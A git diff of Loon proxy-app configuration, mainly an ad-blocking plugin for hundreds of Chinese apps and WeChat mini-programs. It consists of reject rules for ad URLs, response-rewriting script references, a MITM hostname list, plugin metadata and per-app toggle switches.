+^https:\/\/apis\.alenable\.com\/mall\/v1\/api\/mall\/skin\/user\/get reject-dict +^https:\/\/apis\.alenable\.com\/ycx\/v1\/api\/adPut reject-dict + +# 上海地铁Metro大都会乘车码 dock.tenchii.com +^https:\/\/dock\.tenchii\.com\/DockCard\/api\/mini\/card\/list reject-dict + +# 申通快递 customer-app.sto.cn, sto-customer-app.oss-cn-shanghai.aliyuncs.co +^https:\/\/customer-app\.sto\.cn\/api\/app\/banner\/banner reject-dict +^https:\/\/sto-customer-app\.oss-cn-shanghai\.aliyuncs\.com\/images reject-dict + +# 达达快送 supplier-api.imdada.cn +^https:\/\/supplier-api\.imdada\.cn\/fe\/public\/ad\/spot\?forwardServiceName=growth-activity reject-dict + +# 中通快递 @ArthasYZ +^https:\/\/hdgateway\.zto\.com\/getApolloConfig reject +^https:\/\/hdgateway\.zto\.com\/track reject +^https:\/\/hdgateway\.zto\.com\/getAdInfo reject +^https:\/\/hdgateway\.zto\.com\/listJumperShow reject +^https:\/\/fscdn\.zto\.com\/fs1 reject + +# 来电 mobile-api.imlaidian.com +^https:\/\/mobile-api\.imlaidian\.com\/api\/args reject-dict + +# 搜电充电 wxs-weixin.sd.zhumanggroup.com +^https:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad reject-dict + +# 街电 s.jiediankeji.com +^https:\/\/s\.jiediankeji\.com\/adv reject-dict + +# 小电充电 smarket.dian.so,file.dian.so +^https:\/\/smarket\.dian\.so reject-dict +^https:\/\/file\.dian\.so\/c\/leto reject-dict + +# 怪兽充电 aag.enmonster.com +^https:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin reject + +# 小兔充充 ad.xiaotucc.com, mapi.xiaotucc.com +^https:\/\/ad\.xiaotucc\.com\/advert reject + +# U净 api-marketing.zhinengxiyifang.cn +^https:\/\/api-marketing\.zhinengxiyifang\.cn\/api\/v2\/cloudcode\/wechat\/bid reject + +# 松果出行 @Keywos api.songguo7.com +^https:\/\/api\.songguo7\.com\/(\w{3})?mp\/v2\/misc\/(toast|user_operate_info|unlock_without_order|unlock_operate_info) reject-dict + +# 花小猪打车 api.hongyibo.com.cn, res.hongyibo.com.cn +# ^https:\/\/api\.hongyibo\.com\.cn reject-dict +# ^https:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity reject-dict + +# 乘车码 @jinlvei ccmsupport-sz.tenpay.com +^https:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi reject + +# 奈雪 tm-api.pin-dao.cn +^https:\/\/tm-api\.pin-dao\.cn\/home\/api\/index\/activeConfig\/v2 reject-dict +^https:\/\/tm-api\.pin-dao\.cn\/home\/api\/resource\/config\/homeBannerNodes reject-dict + +# 华住会 api-fouth-mem.huazhu.com +^https:\/\/api-fouth-mem\.huazhu\.com\/api\/rights\/bannerList reject-dict + +# 锦江酒店 wxapp.bestwehotel.com +^https:\/\/wxapp\.bestwehotel\.com\/gw3\/app-mini\/trip-hotel-banner\/activity\/getActivityInfo reject-dict + +# 首旅如家 app.homeinns.com, wx.bthhotels.com +^https:\/\/wx\.bthhotels\.com\/miniapp\/weixin\/v1\/home\/index_banner reject-dict +^https:\/\/app\.homeinns\.com\/api\/v6\/indexs reject-dict +^https:\/\/app\.homeinns\.com\/api\/v5\/local reject-dict +^https:\/\/app\.homeinns\.com\/api\/v5\/index reject-dict + +# 蜜雪冰城 mxsa.mxbc.net +^https:\/\/mxsa\.mxbc\.net\/api\/v1\/adinfo\/adplace\/query reject-dict + +# 滴滴青桔 htwkop.xiaojukeji.com +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=cms\.htw\.delivery reject-dict +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.combineHomepageInfo reject-dict +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.mallRecommend reject-dict + +# 罗森点点 lawsonapi.yorentown.com, plt.yorentown.com +^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/mina\/systemSetting reject-dict +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner reject-dict + +# 老乡鸡 member.lxjchina.com.cn +^https:\/\/member\.lxjchina\.com\.cn\/mini-server\/home\/page\/banner reject-dict + +# 茶百道 cbd-gateway-service-applets.hualala.com +^https:\/\/cbd-gateway-service-applets\.hualala\.com\/arch\/api\/banner\/QueryBannerImgList reject-dict + +# 一点点 cappapi.alittle-tea.com, alittle-tea.oss-cn-shanghai.aliyuncs.com +^https:\/\/alittle-tea\.oss-cn-shanghai\.aliyuncs\.com\/images\/platform\/alittle reject-dict + +# Manner triangle.wearemanner.com +# ^https:\/\/triangle\.wearemanner\.com\/mp-api\/v1\/ads reject-dict + +# M Stand api.prod.dj.mstand.cn, api.prod.dj.mstand.cn +^https:\/\/api\.prod\.dj\.mstand\.cn\/scrm\/app\/mdm\/index\/listAdv\?types reject-dict + +# 首汽约车 gw-passenger-wap.01zhuanche.com +^https:\/\/gw-passenger-wap\.01zhuanche\.com\/gw-passenger-wap\/zhuanche-passenger-token\/commonSkipToken\/common\/getAdList reject-dict + +# 德邦快递 www.deppon.com +^https:\/\/www\.deppon\.com\/gwapi\/memberService\/eco\/member\/grade\/commonInterface reject-dict + +# 享道出行 passengerapi.saicmobility.com +^https:\/\/passengerapi\.saicmobility\.com\/(ad\/requestAd|pay\/v1\/queryOpenedCouponPackages) reject-dict + +# T3出行 passenger.t3go.cn +^https:\/\/passenger\.t3go\.cn\/passenger-activity-api\/notoken\/api\/v1\/resource\/getSource reject-dict + +# 携程旅行 m.ctrip.com +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/tripAds reject-dict +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/12673\/queryWeChatHotEvent reject-dict + +# 猫眼电影 +# 弹窗广告+横幅广告 # 主机名ad.maoyan.com +^https:\/\/ad\.maoyan\.com\/api\/position\/detail reject-dict +# 电竞赛事+热门赛事 # 主机名wx.maoyan.com +^https:\/\/wx\.maoyan\.com\/maoyansh\/api\/mobile\/(hotMatchList|eSportsIps) reject-dict +# 猫眼放映厅 # 主机名vod-movie.maoyan.com +^https:\/\/vod-movie\.maoyan\.com\/vod\/video\/onlineMovies\.json reject-dict +# 精彩演出 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/movie\/wonderShow reject-dict +# 七日精选 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/performances\/calendar\/0 reject-dict +# 今日必抢 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/performances\/rob\/main reject-dict +# 大咖新动态 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/celebrityBasicList\/query reject-dict +# 为你推荐 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/recommend\/performances reject-dict +# 首页底部推荐 # 主机名api.maoyan.com +^https:\/\/api\.maoyan\.com\/sns\/common\/feed\/channel\/v2\/list\.json reject-dict +# 演出页面全部拦截 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/ad\/detail reject-dict + +# 途虎养车小程序 @张军 +^https:\/\/mkt-gateway\.tuhu\.cn\/mkt-scene-marketing-service\/api\/scene\/queryScheme reject-dict + +# 横店电影小程序 @张军 +^https:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/2\?cid= reject-dict +^https:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/4\?cid= reject-dict + +# 乐堡潮玩馆小程序 +^https:\/\/tbgapplet\.carlsberg\.asia\/tuborg\/banner\/(loading|index) reject-dict + +# 收钱吧小程序 @可莉🅥 +^https:\/\/api\.pinduoduo\.com\/api\/ktt_gateway\/activity\/feeds\/personal_home_page\/ reject + +# 顺丰速运+ @可莉🅥 +^https:\/\/ucmp\.sf-express\.com\/proxy\/operation-platform\/info-flow-adver\/query reject-dict +^https:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList reject-dict + +# 滴滴代驾 daijia.kuaidadi.com, as.xiaojukeji.com +^https:\/\/as\.xiaojukeji\.com\/ep\/as\/conf\?ns=daijia-front&name= reject-dict +^https:\/\/daijia\.kuaidadi\.com\/gateway\?api=prado\.cms\.delivery\.batch&apiVe reject-dict + +# 汇付天下 mcsp.cloudpnr.com +^https:\/\/mcsp\.cloudpnr\.com\/api\/miniapp\/popular\/T_MINIAPP$ response-body-json-del data +^https:\/\/saas-ad\.cloudpnr\.com\/huifuad-base-api\/api\/tactics\/ad$ response-body-json-del data[0] data[1] data[2] + +[Script] +# 企迈点单系统 webapi.qmai.cn, images.qmai.cn +http-response ^https:\/\/webapi\.qmai\.cn\/web\/catering\/design\/homePage-Config script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/kff/kff.js, requires-body = true, tag = 企迈点单系统去广告 + +# EMS中国邮政物流速递 @TEAXS ump.ems.com.cn +http-response ^https:\/\/ump\.ems\.com\.cn\/new-generation-extend\/redis\/pageInfoByChannel script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/ems/ems.js, requires-body = true, tag = EMS中国邮政物流速递去广告 + +# 小兔充充 @TEAXS mapi.xiaotucc.com +http-response ^https:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity) script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/xiaotucc/xiaotucc.js, requires-body = true, tag = 小兔充充去广告 + +# 全家微会员 minifm.maxxipoint.com +http-response ^https:\/\/minifm\.maxxipoint\.com\/banner\/list script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/FamilyMart/FamilyMart.js, requires-body = true, tag = 全家微会员去广告 + +# 罗森点点 lawsonapi.yorentown.com, plt.yorentown.com +http-response ^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/home script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/lawson/lawson.js, requires-body = true, tag = 罗森点点去广告 + +# 茶颜悦色 miniapp.sexytea2013.com +http-response ^https:\/\/miniapp\.sexytea2013\.com\/cms\/slot\/queryByCodes\?codes=INDEX_TOP_BANNER script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/chayanyuese/chayanyuese_remove_ads.js, requires-body = true, tag = 茶颜悦色去广告 + +# COCO点单 coco-com.e.verystar.net +http-response ^https:\/\/coco-com\.e\.verystar\.net\/v1\/home\/info script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/coco/coco.js, requires-body = true, tag = COCO点单去广告 + +# 滴滴青桔 htwkop.xiaojukeji.com +http-response ^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.homeConfig script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/qingju/qingju.js, requires-body = true, tag = 滴滴青桔去广告 + +# 一点点+ cappapi.alittle-tea.com, alittle-tea.oss-cn-shanghai.aliyuncs.com +http-response ^https:\/\/cappapi\.alittle-tea\.com\/open\?method=catering\.set\.ad script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/alittle-tea/alittle-tea.js, requires-body = true, tag = 一点点+去广告 + +# M Stand api.prod.dj.mstand.cn, api.prod.dj.mstand.cn +http-response ^https:\/\/api\.prod\.dj\.mstand\.cn\/scrm\/mini\/app\/index\/info script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/M_Stand/M_Stand.js, requires-body = true, tag = M Stand去广告 + +# T3出行 passenger.t3go.cn +http-response ^https:\/\/passenger\.t3go\.cn\/(solution\-|common\-)?(passenger\-)?(activity\-|app\-)?api\/notoken\/(trip\/)?api\/(home\/|common\/)?(v[1-3]\/)?(ad\/getNegativescreen|solution\/passenger\/open\/getHomeMenu|leftmenu|getHomeInfoGlobal) script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/T3/T3.js, requires-body = true, tag = T3出行去广告 + +# 古茗 newton.gumingnc.com +http-response ^https:\/\/newton\.gumingnc\.com\/newton-buyer\/newton\/buyer\/(ump|touch|external\/front) script-path = https://raw.githubusercontent.com/Repcz/Tool/X/Loon/Script/lodepuly/WexinMiniPrograms/ming/ming.js, requires-body = true, tag = 古茗去广告 + +[MitM] +hostname = 3pp.starbucks.com.cn, aag.enmonster.com, activity.yonghuivip.com, ad.maoyan.com, ad.xiaotucc.com, ads.ishansong.com, alittle-tea.oss-cn-shanghai.aliyuncs.com, api-fouth-mem.huazhu.com, api-marketing.zhinengxiyifang.cn, api.hellobike.com, api.hengdianfilm.com, api.hongyibo.com.cn, api.kuaidihelp.com, api.maoyan.com, api.mcd.cn, api.pinduoduo.com, api.prod.dj.mstand.cn, api.songguo7.com, api.yonghuivip.com, apiproxy.zuche.com, apis.alenable.com, app.95504.net, app.homeinns.com, applets.jtexpress.com.cn, appuser-static.huolala.cn, as.xiaojukeji.com, capis*.didapinche.com, cappapi.alittle-tea.com, cbd-gateway-service-applets.hualala.com, ccmsupport-sz.tenpay.com, coco-com.e.verystar.net, creditcardapp.bankcomm.com, customer-app.sto.cn, daijia.kuaidadi.com, dock.tenchii.com, dsp.fcbox.com, file.dian.so, flow.dmall.com, fscdn.zto.com, gw-passenger-wap.01zhuanche.com, hdgateway.zto.com, htwkop.xiaojukeji.com, images.qmai.cn, lawsonapi.yorentown.com, m.ctrip.com, mapi.xiaotucc.com, mbmodule-openapi.paas.cmbchina.com, member.lxjchina.com.cn, miniapp.sexytea2013.com, minicap.caocaokeji.cn, minifm.maxxipoint.com, minipro.95504.net, miniprogram.ishansong.com, mkt-gateway.tuhu.cn, mobile-api.imlaidian.com, mxsa.mxbc.net, newton.gumingnc.com, passenger.t3go.cn, passengerapi.saicmobility.com, plt.yorentown.com, qapi.huolala.cn, r2.gzyct.com, res.hongyibo.com.cn, res.pizzahut.com.cn, s.jiediankeji.com, saas-ad.cloudpnr.com, sauron-report.yonghuivip.com, smarket.dian.so, sto-customer-app.oss-cn-shanghai.aliyuncs.com, supplier-api.imdada.cn, suyun-guest.daojia.com, tbgapplet.carlsberg.asia, tm-api.pin-dao.cn, ucmp.sf-express.com, ump.ems.com.cn, vod-movie.maoyan.com, webapi.qmai.cn, webchatapp.fcbox.com, wechat-api.i-xiaoma.com.cn, www.deppon.com, wx.bthhotels.com, wx.maoyan.com, wxapp.bestwehotel.com, wxproj.seeyouyima.com, wxs-weixin.sd.zhumanggroup.com, mcsp.cloudpnr.com \ No newline at end of file diff --git a/Loon/plugin/blockAds.plugin b/Loon/plugin/blockAds.plugin new file mode 100644 index 00000000..0033d6ae --- /dev/null +++ b/Loon/plugin/blockAds.plugin @@ -0,0 +1,4462 @@ +#!name=广告拦截&净化合集 +#!desc=(支持约564款APP/小程序)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装拦截广告才会生效!规则明细可以查看本插件的注释 +#!rule-details=12123, 12306, 21经济网, 2345天气王, 360儿童卫士, 36kr, 555影视, 51信用卡管家, 58, 500, 51job, AcFun, AppSo, 阿里巴巴, 阿里云盘, 爱奇艺, 爱企查, 爱回收, 爱思助手, 爱美剧, 爱阅书香, 爱桐乡, 安徽掌上10000, 安吉星, 澳觅, Blued, 半月谈, 宝宝树孕育, 北京银行, 掌上京彩, 百度地图, 百度输入法, 百度网盘, 百度贴吧, 百度翻译, 百度文库, 百度, 百信银行, 哔哩哔哩, 哔哩哔哩漫画, 北京首汽, 贝壳找房, 贝太厨房, 菠萝包轻小说, 比特球云盘, 币世界, 币安, 乐刻, 必胜客, 百视TV, 波点音乐, 薄荷健康, clicli, csdn, crunchyroll, 彩云天气, 菜鸟裹裹, 超星学习通, 长城炼金术, 曹操专车, 车来了, 超级课程表, 潮玩宇宙, 财新, 财联社, 财经杂志, 刺猬猫阅读, 创客贴设计, DJI Store (大疆商城), 大麦, 大师兄, 大智慧, 大众点评, 达达骑士版, 动卡空间, 到梦空间, 低端影视, 豆瓣, 斗鱼直播, 当当阅读, 叮咚买菜, 叮嗒出行, 东方财富, 懂球帝, 丁香医生, 丁香园, 钉钉, 动画疯, 滴滴出行, 滴滴青桔, 滴滴代驾小程序, 嘀嗒出行, 得物, 电E宝, 电视家, 盯盯拍, e代驾, e充电, 饿了么, Flightradar24, 飞猪 + 阿里巴巴, 飞常准, 飞客茶馆, 番茄小说, 樊登读书, 丰巢, 凤凰秀, 富途牛牛, 分期乐, 返利网, 发现精彩, 粉笔, 光大银行, 光大银行 阳光惠生活, 工商银行, 工银E生活, 工银e生活小程序, 广发银行, 广州农商银行, 广汽传祺, 国泰君安, 国家医保服务平台, 高德地图, 国家地理, 谷歌, 挂号网(微医), 国美电器, 故宫博物馆小程序, 怪兽充电, 盖得排行, 冠寓, 广汽本田, 怪兽充电 微信小程序, 工时记录, 高铁管家, 华彩生活, 华尔街见闻, 虎牙直播, 华住会, 韩剧TV, 好奇心日报, 好好住, 火猫, 花生地铁, 花小猪, 虎扑, 杭州市民, 杭州公交, 红版报, 虎嗅, 黄油相机, 华宝智投, 航旅纵横, 汇丰汇选, 和风天气, 合利宝展业通, 盒马, 海豚优惠, 海尔服务小程序, 好型体重秤, 横店电影小程序, 汇付天下, 海马爸比, i3, IT之家, 吉林银行, 江苏银行, 建行生活, 简讯, 金山词霸, 京东, 京东健康, 京喜, 京东金融, 京东读书, 京东云无线宝, 界面新闻, 驾校一点通, 驾考宝典, 金十数据, 今日头条, 今日水印相机, 加油广东, 韭菜公社, 机核网, 街电 微信小程序, 极简汇率, keep, 快看, 快手, 夸克, 酷我音乐, 看天下, 看理想, 快递100, 开源中国, 快手联盟,优量汇,穿山甲「广告联盟」, 口袋校园, 考公雷达/公考雷达, 酷安, 肯德基, Line, 拉卡拉, 懒人听书, 懒投资, 来疯, 来电 小程序净化, 莱充, 蓝基因, 乐橙, 乐堡潮玩馆小程序, 联想, 拦截100, 旅法师营地, LING Club-原菱菱邦, LocSim, lofter, linxi, 两步路, 猎聘, MIX, 妈妈网孕育, 猫耳FM, 猫眼, 美团 & 美团外卖, 美团众包, 美团充电宝小程序, 每日优鲜, 买单吧, 民生银行, 全民生活, 芒果TV, 马蜂窝, 马达出行, 咪咕视频, 秒拍, 美图秀秀, 马卡龙玩图, 蘑菇租房, 美味不用等, 漫画人, 埋堆堆, 脉脉, 麦当劳, NTPlay, 农业银行, 奈菲影视, 南方航空, 宁聚, 牛津高阶词典第十版, 牛听听, ofo共享单车, ONE, omofun, Oray, pikpak, PushPlus微信推送广告, 浦发银行, 浦大喜奔, 朴朴超市, 平安好车主, 平安壹钱包, 平安证券, 平安口袋银行, 拼多多, 票根, 票星球, 澎湃新闻, 皮皮虾, 皮皮搞笑评论区, QQ钱包, QQ浏览器, QQ音乐, 去哪儿, 起点读书, 七猫小说, 汽车之家, 穷游, 汽水音乐, 球迷报, 亲宝宝, 全民K歌, 全家便利店, 全能浏览器, 全球购骑士卡, 去哒, Reddit, 人民日报, 人人视频, 日日煮, 日淘任意门, 日产智联, RARBG, 瑞幸咖啡, spotify, Soul, Stay, 苏宁, 苏e行, 苏周到, 苏打校园APP, 四季線上影視, 四川航空, 搜狐, 搜狗输入法, 搜电充电 微信小程序, 深圳通, 盛趣游戏, 什么值得买, 神马, 顺丰快递, 顺丰快递小程序, 顺丰优选, 少数派, 书旗小说, 神舟汽车, 上汽大众, 首汽约车, 首旅如家, 三联中读, 识货, 闪现一下, 闪动校园, 山姆会员商店, 旅途随身听, 收钱吧 买单小程序, 省省回头车, TestFlight, TT语音, TapTap, TubeMax, top-widget, 天府市民云, 天府手机银行, 天府银行小程序, 天府通, 天山云TV, 天天基金, 天星金融, 天猫精灵, 天猫养车, 天翼云盘, 同花顺, 同程旅行, 淘票票, 淘淘阅读, 途牛, 途虎养车小程序, 途家民宿, 太平洋电脑, 太平洋知科技, 天气通 分流即可, 淘宝, 腾讯视频, 腾讯乘车码微信小程序, 腾讯游戏社区, 腾讯游戏, 腾讯手机管家, 腾讯地图, 腾讯新闻, 腾讯体育, 腾讯广告, 推栏, U净, udn news, vgTime, Vista看天下, Weico(微博客户端), WPS, WIFI万能钥匙, 完美世界电竞, 万词王, 万达电影小程序, 微信, 网易新闻, 网易有钱, 网易严选, 网易蜗牛读书, 网易考拉, 网易云音乐, 网易邮箱, 网易, 网易大神, 网易有道词典, 网上国网, 威锋, 微店, 无他相机, 悟空遥控器, 蜗牛睡眠, 本来生活, 唯品会, 稿定设计, 温尼伯站, 小米商城, 小米有品, 小米运动, 小米打印, 小米金融, 米家, 米读, 米游社, 雪球, 下厨房, 兴业银行, 兴业生活, 星火英语, 星途 starway, 星财富, 迅雷, 迅游加速器, 小睡眠, 小特- 首选特斯拉中文社区, 小利生活, 小兔充充, 小电充电 微信小程序, 小合拓展, 小牛, 小桔科技, 小艺, 小Biu智家, 小熊艺术, 小佩宠物, 小白学习打印机 开屏广告, 小象超市, 小芒, 小蚕霸王餐, 晓晓优选, 希尔顿 荣誉客会, 希沃白板5, 西施眼, 西窗烛, 稀饭动漫, 向日葵, 心悦俱乐部, 兴业证券, 熊猫直播, 讯飞, 携程, 虾米音乐, 厦门航空, 闲鱼, 新浪新闻, 新片场, 香蕉是一种水果, 小红书, 喜马拉雅, YouTube, 曜影医疗, 云闪付, 邮储银行, 银盛通, 盈宝证券, 盈立智投, 优酷, 游戏时光, 永辉, 悠洗APP, 一淘, 一号店, 一汽大众, 一起考教师, 有兔阅读(米兔), 雅虎, 印象笔记, 易车, 易捷加油小程序, 易校园, 萤石, 云宝宝大数据, 友邻优课, 友邦, 医考帮, 艺龙旅行网, 映客直播, 云麦, 央视, 央视频, 猿辅导, 一刻相册, 易捷加油, 翼支付, 鸭奈飞, 优书, 育学园, 亚马逊, 亚朵开屏, 永安行, 招商银行, 掌上生活, 中国银行, 中国银行 缤纷生活, 中信银行, 中国移动, 中国移动 江苏, 中国移动 安徽, 中国移动 广东, 中国移动 广西, 中国移动 山东, 中国移动云盘, 中国联通, 中国电信, 中国广电, 中国天气网小程序, 中国知网, 中国人保, 中油优途, 中羽在线, 中通快递, 中银跨境GO, 中油好客e站小程序, 中关村在线, 众邦银行, 涨乐财富通, 知乎, 追书神器, 作业帮, 掌阅, 掌上道具城, 掌上公交, 掌上鹿城, 字节跳动, 最右, 转转, 掌上英雄联盟, 浙里办, 郑好办, 住这儿, 指点天下, 猪八戒, 智行APP, 自如, 追剧达人, 职工普惠, 正气助手, 招财猫直聘, 中国国际航空 +#!author=奶思[https://github.com/fmz200] +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdblockPlus.png +#!homepage=https://github.com/fmz200/wool_scripts +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/blockAds.plugin +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag=去广告, fmz200, 奶思 +#!system=iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-27 23:30:17 +#!remark=下方的所有规则都标注了对应的hostname,可能存在错误或者遗漏,欢迎反馈。对于无法/可选MITM的hostname都特别做了“如开启可自行添加主机名”提示,如果提示后面没有标注主机名则包含所有主机名,否则只包含提示语后面的主机名。 +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# +# 常见问题: +# 1️⃣:我知道规则,不知道主机名怎么办? +# ✅:几乎所有的主机名都是从规则中提取出来的,先有的规则再有的主机名 +# 举个栗子:12306的一条规则URL👉🏻^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList +# 只需要去掉反斜杠:^https?://ad.12306.cn/ad/ser/getAdList +# 不用再说了吧,ad.12306.cn就是想要的主机名 +# 2️⃣:有些常用的软件为什么没有去广告配置? +# ✅:如果要利用重写去广告,就需要对请求或响应信息进行解密(MITM),现在一些软件已经禁止了MITM,所以就无法去广告。 +# 3️⃣:Loon如果在插件里面写了规则,在规则配置里也写了,哪个优先生效? +# ✅:插件里的规则优先生效。 +############################################# + +[Argument] +12306_enable = switch,true,false,tag=12306-脚本开关 +555_enable = switch,true,false,tag=555影视-脚本开关 +51xyk_enable = switch,true,false,tag=51信用卡管家-脚本开关 +51job_enable = switch,true,false,tag=51job-脚本开关 +albb_enable = switch,true,false,tag=阿里巴巴-脚本开关 +alyp_enable = switch,true,false,tag=阿里云盘-脚本开关 +aiqiyi_enable = switch,true,false,tag=爱奇艺-脚本开关 +blued_enable = switch,true,false,tag=Blued-脚本开关 +bdduditu_enable = switch,true,false,tag=百度地图-脚本开关 +bddutpba_enable = switch,true,false,tag=百度贴吧-脚本开关 +lawson_enable = switch,true,false,tag=罗森点点-脚本开关 + +# > 哔哩哔哩 +bilibili_enable = switch,true,false,tag=哔哩哔哩-脚本开关 +showUpList=select,"auto","true","false",tag=哔哩哔哩-[动态]中[最常访问]的显示方式,desc=true: 始终显示\n- false: 始终隐藏\n- auto: 仅当列表中存在直播状态时显示 +filterTopReplies=switch,true,tag=哔哩哔哩-[评论区]过滤置顶评论广告,desc=true: 开启\n- false: 关闭 +airborne=switch,true,tag=哔哩哔哩-空降助手,desc=true: 开启\n- false: 关闭 +airborneDm=switch,false,tag=哔哩哔哩-空降助手弹幕版(仅限Ipad开启),desc=true: 开启\n- false: 关闭 + +bilimanhua_enable = switch,true,false,tag=哔哩哔哩漫画-脚本开关 +bohejmkh_enable = switch,true,false,tag=薄荷健康-脚本开关 +cdyytmqi_enable = switch,false,true,tag=彩云天气-脚本开关 +cdnngogo_enable = switch,true,false,tag=菜鸟裹裹-脚本开关 +cdxb_enable = switch,true,false,tag=财新-脚本开关 +davsdmpk_enable = switch,true,false,tag=大众点评-脚本开关 +dshxfg_enable = switch,true,false,tag=动画疯-脚本开关 +didiiuxk_enable = switch,true,false,tag=滴滴出行-脚本开关 +dyls_enable = switch,true,false,tag=电影猎手-脚本开关 +ddmc_enable = switch,true,false,tag=叮咚买菜-脚本开关 +flightradar24_enable = switch,true,false,tag=Flightradar24-脚本开关 +fwke_enable = switch,true,false,tag=飞客茶馆-脚本开关 +ffbi_enable = switch,true,false,tag=粉笔-脚本开关 +hlzh_enable = switch,true,false,tag=航旅纵横-脚本开关 +hema_enable = switch,true,false,tag=盒马-脚本开关 +hftx_enable = switch,true,false,tag=汇付天下-脚本开关 +itzj_enable = switch,true,false,tag=IT之家-脚本开关 +jhsh_enable = switch,true,false,tag=建行生活-脚本开关 +jkds_enable = switch,true,false,tag=京东-脚本开关 +jkxi_enable = switch,true,false,tag=京喜-脚本开关 +keep_enable = switch,true,false,tag=keep-脚本开关 +kkuz_enable = switch,true,false,tag=快手-脚本开关 +kxke_enable = switch,true,false,tag=夸克-脚本开关 +kuwoybyt_enable = switch,true,false,tag=酷我音乐-脚本开关 +glgclmmg_enable = switch,true,false,tag=快手联盟,优量汇,穿山甲「广告联盟」-脚本开关 +kuan_enable = switch,true,false,tag=酷安-脚本开关 +lvtusvuftk_enable = switch,true,false,tag=旅途随身听-脚本开关 +mddjba_enable = switch,true,false,tag=买单吧-脚本开关 +mhgotv_enable = switch,true,false,tag=芒果TV-脚本开关 +mafgwo_enable = switch,true,false,tag=马蜂窝-脚本开关 +mdmd_enable = switch,true,false,tag=脉脉-脚本开关 +meiyou_enable = switch,true,false,tag=美柚-脚本开关 +pupuicui_enable = switch,true,false,tag=朴朴超市-脚本开关 +51job_enable = switch,true,false,tag=前程无忧-脚本开关 +quda_enable = switch,true,false,tag=去哒-脚本开关 +reddit_enable = switch,true,false,tag=Reddit-脚本开关 +rfrfuipk_enable = switch,true,false,tag=人人视频-脚本开关 +soul_enable = switch,true,false,tag=Soul-脚本开关 +sudaxnyr_enable = switch,true,false,tag=苏打校园APP-脚本开关 +smzdm_enable = switch,true,false,tag=什么值得买-脚本开关 +tf_enable = switch,true,false,tag=TestFlight国区-重写开关 +tcbc_enable = switch,true,false,tag=淘宝-脚本开关 +tgxyxbwf_enable = switch,true,false,tag=腾讯新闻-脚本开关 +vgtime_enable = switch,true,false,tag=vgTime-脚本开关 +lmjpxmvi_enable = switch,true,false,tag=解除微信链接限制-脚本开关 + +# > 网易云音乐 +MY = switch,true,tag=网易云音乐-[隐藏底部]漫游标签 +DT = switch,false,tag=网易云音乐-[隐藏底部]笔记标签 +FX = switch,true,tag=网易云音乐-[隐藏底部]发现标签 +PRGG = switch,true,tag=网易云音乐-[隐藏首页]问候语 +PRRK = switch,false,tag=网易云音乐-[隐藏首页]排行榜 +PRDRD = switch,false,tag=网易云音乐-[隐藏首页]每日推荐 +PRSCVPT = switch,false,tag=网易云音乐-[隐藏首页]推荐歌单 +PRST = switch,false,tag=网易云音乐-[隐藏首页]最近常听 +PRRR = switch,true,tag=网易云音乐-[隐藏首页]雷达歌单 +HMPR = switch,false,tag=网易云音乐-[隐藏首页]音乐合伙人 +PRMST = switch,true,tag=网易云音乐-[隐藏首页]推荐专属歌单 +PRCN = switch,true,tag=网易云音乐-[隐藏首页]你的专属歌单 +whyiyyybyt_enable = switch,true,false,tag=网易云音乐-脚本开关 + +whyiyzdccidm_enable = 